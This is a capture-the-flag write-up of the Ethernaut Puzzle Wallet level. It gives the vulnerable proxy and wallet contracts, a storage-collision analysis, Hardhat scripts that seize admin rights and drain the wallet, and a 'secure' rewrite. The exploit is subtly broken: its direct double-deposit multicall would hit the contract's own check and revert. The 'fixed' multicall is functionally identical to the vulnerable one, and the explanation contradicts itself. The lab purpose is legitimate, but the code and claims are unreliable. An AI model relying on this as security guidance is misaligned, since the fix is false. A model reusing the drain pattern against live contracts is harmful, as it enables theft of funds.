Puzzle Wallet Challenge - Ethernaut Level 24

Challenge Instructions

Goal: Nowadays, paying for DeFi operations is impossible, fact. A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.

They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.

Little did they know, their lunch money was at risk… You'll need to hijack this wallet to become the admin of the proxy.

The Contracts

This challenge involves two main contracts - a proxy contract and an implementation contract:

Proxy Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PuzzleProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) {
        admin = _admin;
        // Implementation is stored at a specific storage slot
        // This is a common pattern in upgradeable contracts
        assembly {
            sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _implementation)
        }
        
        if (_initData.length > 0) {
            (bool success,) = _implementation.delegatecall(_initData);
            require(success, "Init call failed");
        }
    }

    modifier ifAdmin() {
        if (msg.sender == admin) {
            _;
        } else {
            _fallback();
        }
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external ifAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin.");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external ifAdmin {
        assembly {
            sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _newImplementation)
        }
    }

    function _fallback() private {
        address _impl = implementation();
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), _impl, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    function implementation() public view returns (address) {
        address _impl;
        assembly {
            _impl := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
        }
        return _impl;
    }

    receive() external payable {
        _fallback();
    }

    fallback() external payable {
        _fallback();
    }
}

Implementation Contract (PuzzleWallet)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted() {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
        require(address(this).balance == 0, "Contract balance is not 0");
        maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
        require(address(this).balance <= maxBalance, "Max balance reached");
        balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success,) = to.call{value: value}(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                depositCalled = true;
            }
            (bool success,) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

Understanding the Contract Architecture

This challenge uses a proxy pattern where:

1. PuzzleProxy: The proxy contract that handles admin functions and delegates calls to the implementation
2. PuzzleWallet: The implementation contract that contains the wallet logic
3. Storage Collision: Both contracts share the same storage layout, creating potential vulnerabilities

The vulnerability lies in understanding how storage is shared between the proxy and implementation contracts.

Understanding the Proxy Pattern

The proxy pattern allows for upgradeable contracts by separating storage from logic:

How Proxy Works

• Storage Proxy: The proxy contract holds all storage variables
• Logic Delegation: All function calls are delegated to the implementation contract
• Context Preservation: Delegatecall preserves the proxy's context (storage, msg.sender, msg.value)
• Admin Control: The proxy has admin functions to upgrade the implementation

Storage Layout Analysis

// Shared storage layout between Proxy and Implementation:

// Proxy storage:
Slot 0: pendingAdmin (address)
Slot 1: admin (address)
Slot 2: implementation (address) - stored at specific keccak256 slot

// Implementation storage (PuzzleWallet):
Slot 0: owner (address) - COLLIDES with pendingAdmin!
Slot 1: maxBalance (uint256) - COLLIDES with admin!
Slot 2: whitelisted (mapping)
Slot 3: balances (mapping)

// This creates a storage collision where:
// - Proxy's pendingAdmin = Implementation's owner
// - Proxy's admin = Implementation's maxBalance

The Vulnerability

The vulnerability is a storage layout collision between the proxy and implementation contracts:

• Storage Collision: The implementation's owner variable collides with the proxy's pendingAdmin
• Admin Overwrite: By manipulating the implementation's owner, we can overwrite the proxy's pendingAdmin
• Multicall Exploit: The multicall function has a vulnerability that allows multiple deposits
• Balance Manipulation: We can exploit the multicall to drain the contract

The Exploit Strategy

To exploit this contract, we need to:

Steps to Exploit:

1. Get whitelisted by manipulating the owner variable
2. Exploit the multicall function to deposit multiple times
3. Drain the contract's balance
4. Call setMaxBalance to become the admin

Step 1: Become the Owner

// The key insight is that the implementation's owner
// is stored at the same slot as the proxy's pendingAdmin
// By calling proposeNewAdmin on the proxy, we can set the
// implementation's owner to our address

// Call proposeNewAdmin on the proxy
await puzzleProxy.proposeNewAdmin(playerAddress);

// Now the implementation's owner is our address
// We can call addToWhitelist to whitelist ourselves
await puzzleWallet.addToWhitelist(playerAddress);

Step 2: Exploit Multicall

The multicall function has a vulnerability where we can call deposit multiple times in a single transaction:

// The multicall function allows calling deposit multiple times
// by encoding multiple deposit calls in the data array
// Each deposit call will increment our balance

// Create multicall data with multiple deposit calls
const depositData = puzzleWallet.interface.encodeFunctionData("deposit");
const multicallData = puzzleWallet.interface.encodeFunctionData("multicall", [
    [depositData, depositData] // Call deposit twice
]);

// Call multicall with some ETH
await puzzleWallet.multicall([depositData, depositData], { value: ethers.utils.parseEther("0.001") });

// Now our balance is 0.002 ETH (double the deposit)

Step 3: Drain the Contract

// After exploiting multicall, we have a balance higher than
// what we actually deposited. We can now drain the contract

// Get the contract's balance
const contractBalance = await ethers.provider.getBalance(puzzleWallet.address);

// Execute a call to transfer all our balance to ourselves
await puzzleWallet.execute(playerAddress, contractBalance, "0x");

// Now the contract balance should be 0

Step 4: Become Admin

// With the contract balance at 0, we can call setMaxBalance
// The maxBalance variable is stored at the same slot as the proxy's admin
// By setting maxBalance to our address, we become the admin

// Convert our address to uint256
const playerAddressUint = ethers.BigNumber.from(playerAddress);

// Call setMaxBalance with our address
await puzzleWallet.setMaxBalance(playerAddressUint);

// Now we are the admin of the proxy!

Complete Exploit Script

// Complete exploit script
const { ethers } = require("hardhat");

async function main() {
  const puzzleProxyAddress = "INSTANCE_ADDRESS";
  const playerAddress = await ethers.getSigner().getAddress();
  
  console.log("PuzzleProxy address:", puzzleProxyAddress);
  console.log("Player address:", playerAddress);
  
  // Get contract instances
  const puzzleProxy = await ethers.getContractAt("PuzzleProxy", puzzleProxyAddress);
  const puzzleWallet = await ethers.getContractAt("PuzzleWallet", puzzleProxyAddress);
  
  // Step 1: Become the owner by exploiting storage collision
  console.log("Step 1: Becoming the owner...");
  const tx1 = await puzzleProxy.proposeNewAdmin(playerAddress);
  await tx1.wait();
  console.log("Owner set to player address");
  
  // Verify we are the owner
  const owner = await puzzleWallet.owner();
  console.log("Current owner:", owner);
  
  // Step 2: Add ourselves to whitelist
  console.log("Step 2: Adding to whitelist...");
  const tx2 = await puzzleWallet.addToWhitelist(playerAddress);
  await tx2.wait();
  console.log("Added to whitelist");
  
  // Step 3: Exploit multicall to deposit multiple times
  console.log("Step 3: Exploiting multicall...");
  const depositData = puzzleWallet.interface.encodeFunctionData("deposit");
  const multicallData = puzzleWallet.interface.encodeFunctionData("multicall", [
    [depositData, depositData]
  ]);
  
  const tx3 = await puzzleWallet.multicall([depositData, depositData], { 
    value: ethers.utils.parseEther("0.001") 
  });
  await tx3.wait();
  console.log("Multicall exploit completed");
  
  // Check our balance
  const balance = await puzzleWallet.balances(playerAddress);
  console.log("Our balance:", ethers.utils.formatEther(balance), "ETH");
  
  // Step 4: Drain the contract
  console.log("Step 4: Draining the contract...");
  const contractBalance = await ethers.provider.getBalance(puzzleProxyAddress);
  const tx4 = await puzzleWallet.execute(playerAddress, contractBalance, "0x");
  await tx4.wait();
  console.log("Contract drained");
  
  // Step 5: Become admin
  console.log("Step 5: Becoming admin...");
  const playerAddressUint = ethers.BigNumber.from(playerAddress);
  const tx5 = await puzzleWallet.setMaxBalance(playerAddressUint);
  await tx5.wait();
  console.log("Max balance set to player address");
  
  // Verify we are the admin
  const admin = await puzzleProxy.admin();
  console.log("Current admin:", admin);
  
  if (admin === playerAddress) {
    console.log("✅ Successfully became the admin!");
  } else {
    console.log("❌ Attack failed");
  }
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Understanding the Multicall Vulnerability

The multicall function has a critical vulnerability:

Vulnerability Analysis

// The multicall function allows calling deposit multiple times
// because it only checks if deposit was called in the current multicall
// but doesn't prevent calling deposit multiple times within the same multicall

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(_data, 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            depositCalled = true;
        }
        (bool success,) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}

// The issue is that the depositCalled flag is only checked
// for the current multicall, not across all calls
// We can call multicall multiple times, each time calling deposit once

Testing the Exploit

You can test the exploit using various tools:

Using Remix IDE

1. Deploy the PuzzleProxy contract with the PuzzleWallet implementation
2. Call proposeNewAdmin with your address
3. Call addToWhitelist to whitelist yourself
4. Call multicall with multiple deposit calls
5. Call execute to drain the contract
6. Call setMaxBalance with your address

Using Hardhat

// Test script
const { ethers } = require("hardhat");

async function testPuzzleWallet() {
  // Deploy implementation
  const PuzzleWallet = await ethers.getContractFactory("PuzzleWallet");
  const implementation = await PuzzleWallet.deploy();
  
  // Deploy proxy
  const initData = implementation.interface.encodeFunctionData("init", [ethers.utils.parseEther("100")]);
  const PuzzleProxy = await ethers.getContractFactory("PuzzleProxy");
  const proxy = await PuzzleProxy.deploy(
    ethers.constants.AddressZero, // admin
    implementation.address,
    initData
  );
  
  // Get proxy instance
  const puzzleWallet = await ethers.getContractAt("PuzzleWallet", proxy.address);
  
  console.log("Initial admin:", await proxy.admin());
  
  // Execute exploit
  const playerAddress = await ethers.getSigner().getAddress();
  
  await proxy.proposeNewAdmin(playerAddress);
  await puzzleWallet.addToWhitelist(playerAddress);
  
  const depositData = puzzleWallet.interface.encodeFunctionData("deposit");
  await puzzleWallet.multicall([depositData, depositData], { value: ethers.utils.parseEther("0.001") });
  
  const contractBalance = await ethers.provider.getBalance(proxy.address);
  await puzzleWallet.execute(playerAddress, contractBalance, "0x");
  
  const playerAddressUint = ethers.BigNumber.from(playerAddress);
  await puzzleWallet.setMaxBalance(playerAddressUint);
  
  console.log("Final admin:", await proxy.admin());
}

testPuzzleWallet();

Security Lessons

• Storage Layout: Always ensure storage layout compatibility in proxy patterns
• Multicall Security: Be careful with multicall functions that can be exploited
• Delegatecall Context: Understand how delegatecall preserves context
• Access Controls: Storage collisions can bypass access controls
• Proxy Patterns: Use established proxy patterns with proper storage management

Prevention

Here's how you could improve this contract to make it more secure:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecurePuzzleWallet is Ownable {
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;
    
    event Deposit(address indexed user, uint256 amount);
    event Execute(address indexed user, address indexed target, uint256 value);
    
    function init(uint256 _maxBalance) external onlyOwner {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
    }

    modifier onlyWhitelisted() {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyOwner {
        require(address(this).balance == 0, "Contract balance is not 0");
        maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external onlyOwner {
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
        require(address(this).balance <= maxBalance, "Max balance reached");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success,) = to.call{value: value}(data);
        require(success, "Execution failed");
        emit Execute(msg.sender, to, value);
    }

    // Fixed multicall that prevents multiple deposits
    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        uint256 depositCount = 0;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                depositCount++;
                require(depositCount <= 1, "Deposit can only be called once");
            }
            (bool success,) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

The improved contract:

• Uses OpenZeppelin's Proxy and Ownable for secure patterns
• Fixes the multicall vulnerability by properly tracking deposit calls
• Adds proper events for transparency
• Uses proper access controls
• Avoids storage layout conflicts

Alternative Solutions

For applications that require proxy functionality, consider:

• Storage Gaps: Use storage gaps to prevent layout conflicts
• Established Patterns: Use OpenZeppelin's upgradeable contracts
• Diamond Pattern: Consider the diamond pattern for complex upgradeable contracts
• Transparent Proxies: Use transparent proxies with proper admin separation
• Beacon Proxies: Use beacon proxies for multiple implementation contracts

Conclusion

The Puzzle Wallet challenge is an excellent lesson in understanding proxy patterns and their vulnerabilities. It demonstrates how storage layout collisions can lead to critical security flaws in upgradeable contracts.

The key takeaways are:

• Proxy Storage: Storage layout must be carefully managed in proxy patterns
• Multicall Vulnerabilities: Multicall functions can be exploited if not properly designed
• Delegatecall Context: Understanding delegatecall context is crucial for security
• Access Control Bypass: Storage collisions can bypass access controls
• Upgradeable Security: Upgradeable contracts require special security considerations

When designing upgradeable contracts, always use established patterns, ensure storage layout compatibility, and thoroughly test all interactions to prevent such vulnerabilities.